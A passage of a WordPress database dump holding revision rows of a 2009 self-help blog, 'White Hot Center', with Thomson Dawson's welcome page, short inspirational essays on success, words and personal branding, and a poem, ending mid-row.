conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 10:23:25', '2009-06-24 17:23:25', '', 143, 'http://www.whitehotcenter.com/143-revision-15/', 0, 'revision', '', 0),
(275, 2, '2009-06-24 10:53:08', '2009-06-24 17:53:08', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 10:53:08', '2009-06-24 17:53:08', '', 172, 'http://www.whitehotcenter.com/172-revision-29/', 0, 'revision', '', 0),
(276, 2, '2009-06-08 21:08:02', '2009-06-09 04:08:02', '<h2><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?<!--more-->\r\n<h3>The Successful Life</h3>\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n<h3>The Significant Life</h3>\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n<h3>Meaning + Contribution = Significant Happiness</h3>\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-8', '', '', '2009-06-08 21:08:02', '2009-06-09 04:08:02', '', 8, 'http://www.whitehotcenter.com/8-revision-8/', 0, 'revision', '', 0),
(277, 2, '2009-06-24 12:45:06', '2009-06-24 19:45:06', '<h2><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-9', '', '', '2009-06-24 12:45:06', '2009-06-24 19:45:06', '', 8, 'http://www.whitehotcenter.com/8-revision-9/', 0, 'revision', '', 0),
(278, 2, '2009-06-08 21:08:59', '2009-06-09 04:08:59', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="alignnone size-full wp-image-55" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="400" height="194" /></a>\r\n<h2><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<!--more-->\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\nWords are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-6', '', '', '2009-06-08 21:08:59', '2009-06-09 04:08:59', '', 10, 'http://www.whitehotcenter.com/10-revision-6/', 0, 'revision', '', 0),
(279, 2, '2009-06-24 12:47:52', '2009-06-24 19:47:52', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="alignnone size-full wp-image-55" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="400" height="194" /></a>\r\n<h2><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<!--more-->\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\n<strong>Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</strong>', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-7', '', '', '2009-06-24 12:47:52', '2009-06-24 19:47:52', '', 10, 'http://www.whitehotcenter.com/10-revision-7/', 0, 'revision', '', 0),
(280, 2, '2009-04-04 13:58:09', '2009-04-04 20:58:09', '<img class="alignnone size-full wp-image-104" title="fishdontknow" src="http://whc.fbdev.org/wp-content/uploads/2009/02/fishdontknow.jpg" alt="fishdontknow" width="320" height="348" />\r\n<h2>I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in.  Then I thought fish don’t even know they’re wet.  That gave me an idea…</h2>\r\nMuch like fish, most people don’t know what they’re swimming in. People have little or no awareness to the truth of the stuff that makes up the physical reality we all swim in.  Like fish, we don’t know we’re wet.\r\n\r\nWe swim in a vast sea of thinking goo. All around us, yet unseen, is the stuff of possibility. In our rush to handle the urgency of our existence, we fail to see, and act on what is really important to us– what really matters. I would like to suggest if you are not involved with ideas and plans that really matter to you, then you are wasting valuable time. There is no better time than right now!  What you are doing right now is creating your future! Make sure it is in line with your passion, your greatest expression of all your unique gifts and talents. As you live in your days, you make your future. You have the power to make your life exactly as you desire. There is nothing in the outside world that can effect your future. Only you can do that. For the good, or not. The choice is always yours to make.\r\n\r\nYou can elevate your life by conscious endeavor, simply because you swim (live) in a thinking substance (potential manifestation) that is always favorable to your desires, infinite and abundant. The more you become aware of your creative nature and act on it, the more powerful you become and the richer your life experience will be.', 'Fish Don''t Know They''re Wet', 0, 'I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in....\r\n', 'inherit', 'open', 'open', '', '13-revision-3', '', '', '2009-04-04 13:58:09', '2009-04-04 20:58:09', '', 13, 'http://www.whitehotcenter.com/13-revision-3/', 0, 'revision', '', 0),
(281, 2, '2009-06-24 12:55:32', '2009-06-24 19:55:32', '<img class="alignnone size-full wp-image-104" title="fishdontknow" src="http://whc.fbdev.org/wp-content/uploads/2009/02/fishdontknow.jpg" alt="fishdontknow" width="320" height="348" />\r\n<h2><span style="color: #ff6600;">I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in.  Then I thought fish don’t even know they’re wet.  That gave me an idea…</span></h2>\r\nMuch like fish, most people don’t know what they’re swimming in. People have little or no awareness to the truth of the stuff that makes up the physical reality we all swim in.  Like fish, we don’t know we’re wet.\r\n\r\nWe swim in a vast sea of thinking goo. All around us, yet unseen, is the stuff of possibility. In our rush to handle the urgency of our existence, we fail to see, and act on what is really important to us– what really matters. I would like to suggest if you are not involved with ideas and plans that really matter to you, then you are wasting valuable time. There is no better time than right now!  What you are doing right now is creating your future! Make sure it is in line with your passion, your greatest expression of all your unique gifts and talents. As you live in your days, you make your future. You have the power to make your life exactly as you desire. There is nothing in the outside world that can effect your future. Only you can do that. For the good, or not. The choice is always yours to make.\r\n\r\nYou can elevate your life by conscious endeavor, simply because you swim (live) in a thinking substance (potential manifestation) that is always favorable to your desires, infinite and abundant. The more you become aware of your creative nature and act on it, the more powerful you become and the richer your life experience will be.', 'Fish Don''t Know They''re Wet', 0, 'I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in....\r\n', 'inherit', 'open', 'open', '', '13-revision-4', '', '', '2009-06-24 12:55:32', '2009-06-24 19:55:32', '', 13, 'http://www.whitehotcenter.com/13-revision-4/', 0, 'revision', '', 0),
(282, 2, '2009-04-03 08:55:31', '2009-04-03 15:55:31', '<span style="color: #bf5f00;">On this journey\r\nthe way is unmarked,\r\nthere are no maps.\r\nThe terrain is steep and rocky.</span>\r\n\r\n<span style="color: #bf5f00;">Each day, trusting my feet, steadfast in my purpose,\r\nI go forward, my eyes on the horizon.</span>\r\n\r\n<span style="color: #bf5f00;">In awe of every potential and possibility,\r\nI travel light, experiencing the freedom\r\nof every movement\r\ntowards my heart''s desire.</span>\r\n\r\n<span style="color: #bf5f00;">Blessed is my quest,\r\nknowing all too well,\r\nthis journey\r\nwill end soon enough.</span>', 'On this journey.', 0, 'On this journey the way is unmarked, there are no maps. The terrain is steep and rocky. Each day, trusting my feet, steadfast in my purpose, I go forward, my eyes on the horizon. In awe of every potential and...\r\n', 'inherit', 'open', 'open', '', '9-revision-3', '', '', '2009-04-03 08:55:31', '2009-04-03 15:55:31', '', 9, 'http://www.whitehotcenter.com/9-revision-3/', 0, 'revision', '', 0),
(283, 2, '2009-06-24 12:14:38', '2009-06-24 19:14:38', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n\r\n<span style="color: #696969;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 12:14:38', '2009-06-24 19:14:38', '', 172, 'http://www.whitehotcenter.com/172-revision-30/', 0, 'revision', '', 0),
(284, 2, '2009-06-24 13:04:38', '2009-06-24 20:04:38', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 13:04:38', '2009-06-24 20:04:38', '', 172, 'http://www.whitehotcenter.com/172-revision-31/', 0, 'revision', '', 0),
(285, 2, '2009-06-24 13:14:36', '2009-06-24 20:14:36', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n\r\n<span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success and sharing that insight with you here. It is my intention the WHC serves as a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality.  You are surrounded by  possibility and potential.  I want to keep you inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. As you think, so it is. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 13:14:36', '2009-06-24 20:14:36', '', 172, 'http://www.whitehotcenter.com/172-revision-32/', 0, 'revision', '', 0);
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(286, 2, '2009-04-04 16:54:50', '2009-04-04 23:54:50', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="320" height="204" /></a>\r\n<h2>With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right your brand–you.</h2>\r\nBig marketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of customers. For the most part, brand marketing is on-going, in good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers, and grow their enterprise. Brands connect with us on deep emotional levels. The sum total of a customer’s perception and experiences with a product, company or service is called a brand.\r\n\r\n<strong>What’s this have to do with you?</strong>\r\nWell… everything! Whether you know it or not, like a brand, the manner in which you face the world represents something about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to your vibe. Your spouse, family, boss, colleagues, friends and your community at large (we’ll call these customers of your brand) are all experiencing some aspect of what your brand promises to them. In marketing parlance, we call this “brand experience”.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at your brand. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand: YOU is up to you.</strong>\r\nJust like any product, YOU are a brand… you have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a brand called YOU, you need to be clear on who you are, what you offer and why what you offer is important to people (customers).\r\n\r\nWhen you are a brand… you will represent something meaningful beyond money making. You will have a solid value system that guides your decisions, you will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand is trusted by people who will sing your praises to others. If you happen to find yourself flying solo without a net, a positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. YOU are a brand. There are three main components to what make up a brand. Like three legs of a stool, they must be in harmonious alignment. Let’s look closer:\r\n\r\n<strong>Brand 